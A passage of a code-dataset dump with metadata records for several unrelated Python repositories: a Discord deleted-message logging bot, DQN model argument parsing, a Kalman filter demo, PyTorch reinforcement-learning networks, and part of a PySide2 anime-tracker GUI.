"attribute"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "30348708693", "text": "import discord\nimport datetime\n\nclient = discord.Client()\n\n\n@client.event\nasync def on_message_delete(message):\n    y = datetime.datetime.now().year\n    m = datetime.datetime.now().month\n    d = datetime.datetime.now().day\n    h = datetime.datetime.now().hour\n    min = datetime.datetime.now().minute\n    bot_logs = 'insert channel id'\n    embed = discord.Embed(title='메시지 삭제', colour=discord.Colour.orange())\n    embed.add_field(name='유저', value=f'<@{message.author.id}>({message.author})')\n    embed.add_field(name='채널', value=f'<#{message.channel.id}>')\n    embed.add_field(name='내용', value=message.content, inline=False)\n    embed.add_field(name='날짜', value=f\"{y}-{m}-{d} {h}:{min}\", inline=False)\n    await client.get_channel(int(bot_logs)).send(embed=embed)\n    \n    \n@client.event\nasync def on_ready():\n    game = discord.Game('bot')\n    await client.change_presence(status=discord.Status.online, activity=game)\n\n\n    \nclient.run('insert bot token')\n", "repo_name": "tmddn3070/discord-delect-bot", "sub_path": "discord delect bot.py", "file_name": "discord delect bot.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.Client", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.Colour.orange", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 15, "usage_type": "attribute"}, {"api_name": "discord.Game", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.Status", "line_number": 26, "usage_type": "attribute"}]}
{"seq_id": "41766644862", "text": "from .dqn import DQNRecurrent, DQNFeedforward\nfrom ..utils import bool_flag\n\n\nmodels = {\n    'dqn_ff': DQNFeedforward,\n    'dqn_rnn': DQNRecurrent\n}\n\n\ndef get_model_class(model_type):\n    cls = models.get(model_type)\n    if cls is None:\n        raise RuntimeError((\"unknown model type: '%s'. supported values \"\n                            \"are: %s\") % (model_type, ', '.join(models.keys())))\n    return cls\n\n\ndef register_model_args(parser, args):\n    \"\"\"\n    Parse model parameters.\n    \"\"\"\n    # network type\n    parser.add_argument(\"--network_type\", type=str, default='dqn_ff',\n                        help=\"Network type (dqn_ff / dqn_rnn)\")\n    parser.add_argument(\"--use_bn\", type=bool_flag, default=False,\n                        help=\"Use batch normalization in CNN network\")\n\n    # model parameters\n    params, _ = parser.parse_known_args(args)\n    network_class = get_model_class(params.network_type)\n    network_class.register_args(parser)\n    network_class.validate_params(parser.parse_known_args(args)[0])\n\n    # parameters common to all models\n    parser.add_argument(\"--clip_delta\", type=float, default=1.0,\n                        help=\"Clip delta\")\n    parser.add_argument(\"--variable_dim\", type=str, default='32',\n                        help=\"Game variables embeddings dimension\")\n    parser.add_argument(\"--bucket_size\", type=str, default='1',\n                        help=\"Bucket size for game variables\")\n    parser.add_argument(\"--hidden_dim\", type=int, default=512,\n                        help=\"Hidden layer dimension\")\n    parser.add_argument(\"--update_frequency\", type=int, default=4,\n                        help=\"Update frequency (1 for every time)\")\n    parser.add_argument(\"--dropout\", type=float, default=0.,\n                        help=\"Dropout\")\n    parser.add_argument(\"--optimizer\", type=str, default=\"rmsprop,lr=0.0002\",\n                        help=\"Optimizer (SGD / RMSprop / Adam, etc.)\")\n\n    # check common parameters\n    params, _ = parser.parse_known_args(args)\n    assert params.clip_delta >= 0\n    assert params.update_frequency >= 1\n    assert 0 <= params.dropout < 1\n", "repo_name": "glample/Arnold", "sub_path": "src/model/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2115, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 505, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dqn.DQNFeedforward", "line_number": 6, "usage_type": "name"}, {"api_name": "dqn.DQNRecurrent", "line_number": 7, "usage_type": "name"}, {"api_name": "utils.bool_flag", "line_number": 26, "usage_type": "name"}]}
{"seq_id": "6151348830", "text": "import numpy as np\n\nclass KalmanFilter(object):\n    def __init__(self, F = None, B = None, H = None, Q = None, R = None, P = None, x0 = None):\n\n        if(F is None or H is None):\n            raise ValueError(\"Set proper system dynamics.\")\n\n        self.n = F.shape[1]\n        self.m = H.shape[1]\n        #State-transition model\n        self.F = F\n        #Observation model\n        self.H = H\n        #Control-input model which is applied to the control vector u\n        self.B = 0 if B is None else B\n        #Covariance of the process noise\n        self.Q = np.eye(self.n) if Q is None else Q\n        #Covariance of the observation noise\n        self.R = np.eye(self.n) if R is None else R\n        #Predicted error convariance\n        self.P = np.eye(self.n) if P is None else P\n        #State predicted \n        self.x = np.zeros((self.n, 1)) if x0 is None else x0\n\n    def predict(self, u = 0):\n        #Predicted (a priori) state estimate x(heat)=F*x(heat)+B*u\n        self.x = np.dot(self.F, self.x) + np.dot(self.B, u)\n        #Predicted (a priori) error covariance P= FxPxF(trasposed)+Q\n        self.P = np.dot(np.dot(self.F, self.P), self.F.T) + self.Q\n        return self.x\n\n    def update(self, z):\n        #y = z - Hx\n        y = z - np.dot(self.H, self.x)\n        #S = R + H*P*H(traposed)\n        S = self.R + np.dot(self.H, np.dot(self.P, self.H.T))\n        #K = P*H(transposed) * S^-1\n        K = np.dot(np.dot(self.P, self.H.T), np.linalg.inv(S))\n        self.x = self.x + np.dot(K, y)\n        I = np.eye(self.n)\n        #P = ((I-K*H)*P)*(I-K*H)(transposed) + K*R*K(transposed)\n        self.P = np.dot(np.dot(I - np.dot(K, self.H), self.P), \n        \t(I - np.dot(K, self.H)).T) + np.dot(np.dot(K, self.R), K.T)\n\n    def predicted_state(self, u=0):\n        return np.dot(self.H, self.predict(u))\n\ndef example():\n    dt = 1.0/60\n    F = np.array([[1, dt, 0], [0, 1, dt], [0, 0, 1]])\n    H = np.array([1, 0, 0]).reshape(1, 3)\n    Q = np.array([[0.05, 0.05, 0.0], [0.05, 0.05, 0.0], [0.0, 0.0, 0.0]])\n    R = np.array([0.5]).reshape(1, 1)\n\n    x = np.linspace(-10, 10, 100)\n    measurements = - (x**2 + 2*x - 2)  + np.random.normal(0, 2, 100)\n\n    kf = KalmanFilter(F = F, H = H, Q = Q, R = R)\n    predictions = []\n\n    for z in measurements:\n        predictions.append(kf.predicted_state()[0])\n        kf.update(z)\n\n    import matplotlib.pyplot as plt\n    plt.plot(range(len(measurements)), measurements, label = 'Measurements')\n    plt.plot(range(len(predictions)), np.array(predictions), label = 'Kalman Filter Prediction')\n    plt.legend()\n    plt.show()\n\nif __name__ == '__main__':\n    example()\n", "repo_name": "ilgaiaz/sonarQt", "sub_path": "sonar/kalmanpy.py", "file_name": "kalmanpy.py", "file_ext": "py", "file_size_in_byte": 2614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.eye", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "8679833335", "text": "#!/usr/bin/env python\n# coding=utf-8\n'''\nAuthor: John\nEmail: johnjim0816@gmail.com\nDate: 2021-03-12 21:14:12\nLastEditor: John\nLastEditTime: 2021-03-31 13:49:06\nDiscription: \nEnvironment: \n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Categorical\nimport math\n\nclass MLP(nn.Module):\n    def __init__(self, input_dim,output_dim,hidden_dim=128):\n        \"\"\" 初始化q网络，为全连接网络\n            input_dim: 输入的feature即环境的state数目\n            output_dim: 输出的action总个数\n        \"\"\"\n        super(MLP, self).__init__()\n        self.fc1 = nn.Linear(input_dim, hidden_dim) # 输入层\n        self.fc2 = nn.Linear(hidden_dim,hidden_dim) # 隐藏层\n        self.fc3 = nn.Linear(hidden_dim, output_dim) # 输出层\n        \n    def forward(self, x):\n        # 各层对应的激活函数\n        x = F.relu(self.fc1(x)) \n        x = F.relu(self.fc2(x))\n        return self.fc3(x)\n\n\nclass NoisyLinear(nn.Module):\n    def __init__(self, in_features, out_features, std_init=0.4):\n        super(NoisyLinear, self).__init__()\n\n        self.in_features = in_features\n        self.out_features = out_features\n        self.std_init = std_init\n\n        self.weight_mu = nn.Parameter(torch.FloatTensor(out_features, in_features))\n        self.weight_sigma = nn.Parameter(torch.FloatTensor(out_features, in_features))\n        self.register_buffer('weight_epsilon', torch.FloatTensor(out_features, in_features))\n\n        self.bias_mu = nn.Parameter(torch.FloatTensor(out_features))\n        self.bias_sigma = nn.Parameter(torch.FloatTensor(out_features))\n        self.register_buffer('bias_epsilon', torch.FloatTensor(out_features))\n\n        self.reset_parameters()\n        self.reset_noise()\n\n    def forward(self, x):\n        if self.training:\n            weight = self.weight_mu + self.weight_sigma.mul(self.weight_epsilon)\n            bias = self.bias_mu + self.bias_sigma.mul(self.bias_epsilon)\n        else:\n            weight = self.weight_mu\n            bias = self.bias_mu\n\n        return F.linear(x, weight, bias)\n\n    def reset_parameters(self):\n        mu_range = 1 / math.sqrt(self.weight_mu.size(1))\n\n        self.weight_mu.data.uniform_(-mu_range, mu_range)\n        self.weight_sigma.data.fill_(self.std_init / math.sqrt(self.weight_sigma.size(1)))\n\n        self.bias_mu.data.uniform_(-mu_range, mu_range)\n        self.bias_sigma.data.fill_(self.std_init / math.sqrt(self.bias_sigma.size(0)))\n\n    def reset_noise(self):\n        epsilon_in = self._scale_noise(self.in_features)\n        epsilon_out = self._scale_noise(self.out_features)\n\n        self.weight_epsilon.copy_(epsilon_out.ger(epsilon_in))\n        self.bias_epsilon.copy_(self._scale_noise(self.out_features))\n\n    def _scale_noise(self, size):\n        x = torch.randn(size)\n        x = x.sign().mul(x.abs().sqrt())\n        return x\n\n\nclass NoisyDQN(nn.Module):\n    def __init__(self, num_inputs, num_actions):\n        super(NoisyDQN, self).__init__()\n\n        self.linear = nn.Linear(num_inputs, 256)\n        self.noisy1 = NoisyLinear(256, 256)\n        self.noisy2 = NoisyLinear(256, num_actions)\n\n    def forward(self, x):\n        x = F.relu(self.linear(x))\n        x = F.relu(self.noisy1(x))\n        x = self.noisy2(x)\n        return x\n\n    def act(self, state):\n        with torch.no_grad():\n            state = torch.tensor([state], device=\"cpu\", dtype=torch.float32)\n            q_value = self.forward(state)\n            action = q_value.max(1)[1].item()\n        return action\n\n    def reset_noise(self):\n        self.noisy1.reset_noise()\n        self.noisy2.reset_noise()\n\n# class ActorCritic(nn.Module):\n#     def __init__(self, input_dim, output_dim, hidden_dim):\n#         super(ActorCritic, self).__init__()\n#         self.critic = nn.Sequential(\n#             nn.Linear(input_dim, hidden_dim),\n#             nn.ReLU(),\n#             nn.Linear(hidden_dim, 1)\n#         )\n#\n#         self.actor = nn.Sequential(\n#             nn.Linear(input_dim, hidden_dim),\n#             nn.ReLU(),\n#             nn.Linear(hidden_dim, output_dim),\n#             # 使得在softmax操作之后在dim这个维度相加等于1\n#             # 注意，默认的方法已经弃用，最好在使用的时候声明dim\n#             nn.Softmax()\n#         )\n#\n#     def forward(self, x):\n#         # critic: evaluates value in the state s_t\n#         value = self.critic(x)\n#         # actor: choses action to take from state s_t\n#         # by returning probability of each action\n#         probs = self.actor(x)\n#\n#         # 分类,对actor输出的动作概率进行分类统计\n#         # create a categorical distribution over the list of probabilities of actions\n#         dist  = Categorical(probs)\n#\n#         # return values for both actor and critic as a tuple of 2 values:\n#         # 1(action prob). a list with the probability of each action over the action space\n#         # 2(state value). the value from state s_t\n#         return dist, value\n\nclass actor(nn.Module):  # policy net\n    # actor: choses action to take from state s_t\n    # by returning probability of each action\n    def __init__(self, input_dim, output_dim, hidden_dim):\n        super(actor, self).__init__()\n        self.fc1 = nn.Linear(input_dim, hidden_dim)\n        self.fc2 = nn.Linear(hidden_dim, output_dim)\n        self.softmax = nn.Softmax(dim=0)\n\n    def forward(self, x):\n        x = self.fc1(x)\n        x = F.relu(x)\n        x = self.fc2(x)\n        prob = self.softmax(x)\n        # 分类,对actor输出的动作概率进行分类统计\n        # create a categorical distribution over the list of probabilities of actions\n        dist = Categorical(prob)\n        return dist\n\nclass critic(nn.Module):  # Q net:evaluates value in the state s_t\n    def __init__(self, input_dim, output_dim, hidden_dim):\n        super(critic, self).__init__()\n        self.fc1 = nn.Linear(input_dim, hidden_dim)\n        self.fc2 = nn.Linear(hidden_dim, output_dim)\n\n    def forward(self, x):\n        x = self.fc1(x)\n        x = F.relu(x)\n        x = self.fc2(x)\n        return x\n\nclass baseline_net(nn.Module):\n    def __init__(self, input_dim, output_dim, hidden_dim):\n        super(baseline_net,self).__init__()\n        self.fc1=nn.Linear(input_dim, hidden_dim)\n        self.fc2=nn.Linear(hidden_dim, output_dim)\n    def forward(self,x):\n        x=self.fc1(x)\n        x=F.relu(x)\n        out=self.fc2(x)\n        return out", "repo_name": "caimingxue/Reinforcement-Learning-Pytorch", "sub_path": "common/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 6441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn.functional.linear", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 63, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 66, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 69, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.distributions.Categorical", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 168, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 169, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 177, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 181, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 184, "usage_type": "name"}]}
{"seq_id": "42266355489", "text": "from __future__ import annotations\n\nimport functools\nimport sys\nfrom typing import Dict, List, Optional, Union\n\nfrom PySide2.QtCore import *  # type: ignore\nfrom PySide2.QtCore import __file__ as QTCoreFile\nfrom PySide2.QtGui import *  # type: ignore\nfrom PySide2.QtWidgets import *  # type: ignore\n\nfrom anitracker import logger\nfrom anitracker.anitracker import AniTracker\nfrom anitracker.background import *\nfrom anitracker.media import Anime, AnimeCollection\nfrom anitracker.signals import SignalConnector, MouseFilter\nfrom anitracker.ui import Ui_AnimeApp, Ui_AnimeInfo\nfrom anitracker.utilities import UserStatus\n\n\nclass MainWindow(QMainWindow):\n    update_ui_signal = Signal(functools.partial)\n    insert_row_signal = Signal(QTableWidget, Anime)\n    update_row_signal = Signal(QTableWidget, int, Anime)\n    reload_anime_eps = Signal()\n    update_anilist_label = Signal(str)\n    update_label = Signal()\n    handle_anime_updates = Signal()\n    nyaa_results = Signal(list)\n    add_episodes_to_widget = Signal(list, AnimeCollection)\n\n    # Setup stuff\n    def __init__(self, qapp: QApplication):\n        super().__init__()\n        self._qapp = qapp\n        self._showing_episodes = False\n        self.setup()\n        self.setup_threads()\n        self.setup_tables()\n        self.connect_signals()\n\n    def setup(self):\n        self.ui = Ui_AnimeApp()\n        # The central app\n        self.app = AniTracker()\n        # Where all the signals lay\n        self.signals = SignalConnector(self)\n        # A list of the status helpers\n        self.statuses: List[StatusHelper] = []\n        # A dict of the headers to whether they're enabled by default\n        # TODO: Figure out how to make the header not go away when all columns are hidden\n        self._header_labels = {\n            \"progress\": True,\n            \"id\": False,\n            \"user_status\": False,\n            \"score\": False,\n            \"repeat\": False,\n            \"updated_at\": False,\n            \"romaji_title\": False,\n            \"english_title\": False,\n            \"native_title\": False,\n            \"preferred_title\": True,\n            \"anime_status\": False,\n            \"description\": False,\n            \"start_date\": False,\n            \"end_date\": False,\n            \"anime_start_date\": False,\n            \"anime_end_date\": False,\n            \"episode_count\": True,\n            \"average_score\": True,\n        }\n        # Setup the app UI\n        self.ui.setupUi(self)\n\n        # Add the filter line edit to the right of the tool box\n        self.filter_anime = QLineEdit()\n        self.filter_anime.setPlaceholderText(\"Filter anime\")\n        self.filter_anime.setStyleSheet(\n            \"\"\"\n            margin-left: 500px;\n            \"\"\"\n        )\n        self.ui.toolBar.addWidget(self.filter_anime)\n        # Ensure the pages/page chooser is set to the first index\n        self.ui.AnimePages.setCurrentIndex(0)\n        self.ui.AnimeListChooser.setCurrentRow(0)\n\n    def setup_threads(self):\n        # Setup background stuff\n        self.threadpool = QThreadPool()\n        self._threads_to_terminate: List[BackgroundThread] = []\n        # This will trigger the status label update\n        self.status_update_worker = BackgroundThread(status_label, self)\n        # Used for searching files in the background\n        self.update_worker = BackgroundThread(refresh_folder, self)\n        # This'll be the loop that automatically does so every 2 minutes\n        self._update_anime_files_loop = BackgroundThread(\n            refresh_folder, self, loop_forever=True\n        )\n        # Connecting to anilist\n        self.anilist_connector = BackgroundThread(connect_to_anilist, self)\n        # Anime updates\n        self.anime_updater = BackgroundThread(update_from_anilist, self)\n        # Will check for update in the background\n        self.update_checker = BackgroundThread(try_update, self)\n\n        # Add them all to the termintable threads\n        self.status_update_worker.setTerminationEnabled(True)\n        self.update_worker.setTerminationEnabled(True)\n        self._update_anime_files_loop.setTerminationEnabled(True)\n        self.anilist_connector.setTerminationEnabled(True)\n        self.anime_updater.setTerminationEnabled(True)\n        self.update_checker.setTerminationEnabled(True)\n        self._threads_to_terminate.append(self.status_update_worker)\n        self._threads_to_terminate.append(self.update_worker)\n        self._threads_to_terminate.append(self._update_anime_files_loop)\n        self._threads_to_terminate.append(self.anilist_connector)\n        self._threads_to_terminate.append(self.anime_updater)\n        self._threads_to_terminate.append(self.update_checker)\n\n        # Start a few things in the background\n        self._update_anime_files_loop.start()\n        self.anilist_connector.start()\n        self.status_update_worker.start()\n\n    def setup_tables(self):\n        def default_table_setup(_table: QTableWidget, _headers: Dict):\n            # Create a menu per table\n            menu = _table.menu = QMenu(self.ui.AnimeListTab)  # type: ignore\n            menu.setStyleSheet(\"QMenu::item:selected {background-color: #007fd4}\")\n            menu.triggered.connect(functools.partial(self.signals.header_changed, _table))  # type: ignore\n            # Set the custom context menu on the *header*, this is how\n            # we switch which columns are visible\n            _table.horizontalHeader().setContextMenuPolicy(\n                Qt.ContextMenuPolicy.CustomContextMenu\n            )\n            # Connect it to the modifying of the _table\n            _table.horizontalHeader().customContextMenuRequested.connect(  # type: ignore\n                functools.partial(self.signals.open_header_menu, _table)\n            )\n            _table.horizontalHeader().setMinimumSectionSize(50)\n            # Now set the custom context menu on the _table itself\n            _table.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu)\n            _table.customContextMenuRequested.connect(  # type: ignore\n                functools.partial(self.signals.open_anime_context_menu, _table)\n            )\n            _table.viewport().installEventFilter(MouseFilter(_table, self))\n            _table.itemClicked.connect(self.signals.anime_clicked)  # type: ignore\n            _table.horizontalHeader().sectionResized.connect(  # type: ignore\n                functools.partial(self.signals.resized_column, _table)\n            )\n\n            headers = []\n\n            for title, enabled in _headers.items():\n                # Get the pretty title for the action menu\n                pretty_title = title.lower().replace(\"_\", \" \").title()\n                headers.append(pretty_title)\n                # Create the action menu entry\n                action = QAction(pretty_title, _table.horizontalHeader())\n                # Set them as checkable\n                action.setCheckable(True)\n                # Add column to _table\n                _table.insertColumn(_table.columnCount())\n                index = _table.columnCount() - 1\n                # If it's enabled, set action as true and don't hide row\n                if enabled:\n                    action.setChecked(True)\n                    _table.setColumnHidden(index, False)\n                else:\n                    _table.setColumnHidden(index, True)\n\n                menu.addAction(action)\n\n                # Resize header\n                size = self.app._config.get_option(\n                    str(index), section=_table.objectName()\n                )\n                if size is not None:\n                    _table.setColumnWidth(index, int(size))\n\n            # Setting headers has to come after\n            _table.setHorizontalHeaderLabels(headers)\n\n        user_settings = [\n            \"user_status\",\n            \"score\",\n            \"progress\",\n            \"repeat\",\n            \"updated_at\",\n            \"start_date\",\n            \"end_date\",\n        ]\n        _anilist_search_headers = {\n            k: v\n            for k, v in self.get_headers(self.ui.AnilistSearchResults).items()\n            if k not in user_settings\n        }\n\n        default_table_setup(self.ui.AnilistSearchResults, _anilist_search_headers)\n        # https://bugreports.qt.io/browse/QTBUG-12889\n        # Asanine\n        self.ui.AnilistSearchResults.horizontalHeader().setVisible(True)\n        self.ui.NyaaSearchResults.horizontalHeader().setVisible(True)\n\n        for table in self.tables:\n            headers = self.get_headers(table)\n            default_table_setup(table, headers)\n\n        # Nyaa search setup is a little different\n        nyaa = self.ui.NyaaSearchResults\n        headers = self.get_headers(\n            nyaa,\n            _headers={\n                \"title\": True,\n                \"size\": True,\n                \"date\": True,\n                \"seeders\": True,\n                \"leechers\": True,\n                \"downloads\": True,\n            },\n        )\n        default_table_setup(nyaa, headers)\n\n    def connect_signals(self):\n        self.insert_row_signal.connect(self.signals.insert_row)  # type: ignore\n        self.update_row_signal.connect(self.signals.update_row)  # type: ignore\n        self.filter_anime.textChanged.connect(self.signals.filter_row)  # type: ignore\n        self.update_label.connect(self.signals.update_status)  # type: ignore\n        self.reload_anime_eps.connect(self.signals.handle_anime_updates)  # type: ignore\n        self.update_ui_signal.connect(self.signals.handle_ui_update)  # type: ignore\n        self.handle_anime_updates.connect(self.signals.handle_anime_updates)  # type: ignore\n        self.add_episodes_to_widget.connect(self.signals.add_episodes_to_episode_list)  # type: ignore\n        self.ui.AnilistSearchButton.clicked.connect(self.signals.search_anilist)  # type: ignore\n        self.ui.NyaaSearchButton.clicked.connect(self.signals.search_nyaa)  # type: ignore\n        self.ui.AnimeListChooser.currentRowChanged.connect(self.signals.change_page)  # type: ignore\n        self.ui.actionSettings.triggered.connect(self.signals.open_settings)  # type: ignore\n        self.ui.actionRefresh.triggered.connect(self.anime_updater.start)  # type: ignore\n        self.ui.actionReload_Videos.triggered.connect(self.update_worker.start)  # type: ignore\n        self.ui.actionAbout.triggered.connect(self.signals.open_about)  # type: ignore\n        self.ui.actionReport_bug.triggered.connect(self.signals.open_issue_tracker)  # type: ignore\n        self.ui.actionSource_code.triggered.connect(self.signals.open_repo)  # type: ignore\n        self.ui.actionUpdateCheck.triggered.connect(self.update_checker.start)  # type: ignore\n\n    def stop_threads(self):\n        for thread in self._threads_to_terminate:\n            if thread.isRunning():\n                thread.terminate()\n                thread.wait()\n\n    # Misc methods\n    @property\n    def pretty_headers(self) -> List[str]:\n        return [x.replace(\"_\", \" \").title() for x in self._header_labels.keys()]\n\n    @property\n    def tables(self) -> List[QTableWidget]:\n        return [\n            self.ui.CompletedTable,\n            self.ui.WatchingTable,\n            self.ui.PlanningTable,\n            self.ui.DroppedTable,\n            self.ui.PausedTable,\n        ]\n\n    def hide_episode_list(self):\n        if self._showing_episodes:\n            self.setFixedSize(*self._orig_size)  # type: ignore\n            self._showing_episodes = False\n\n    def show_episode_list(self):\n        if not self._showing_episodes:\n            self.setFixedSize(*self._with_eps)  # type: ignore\n            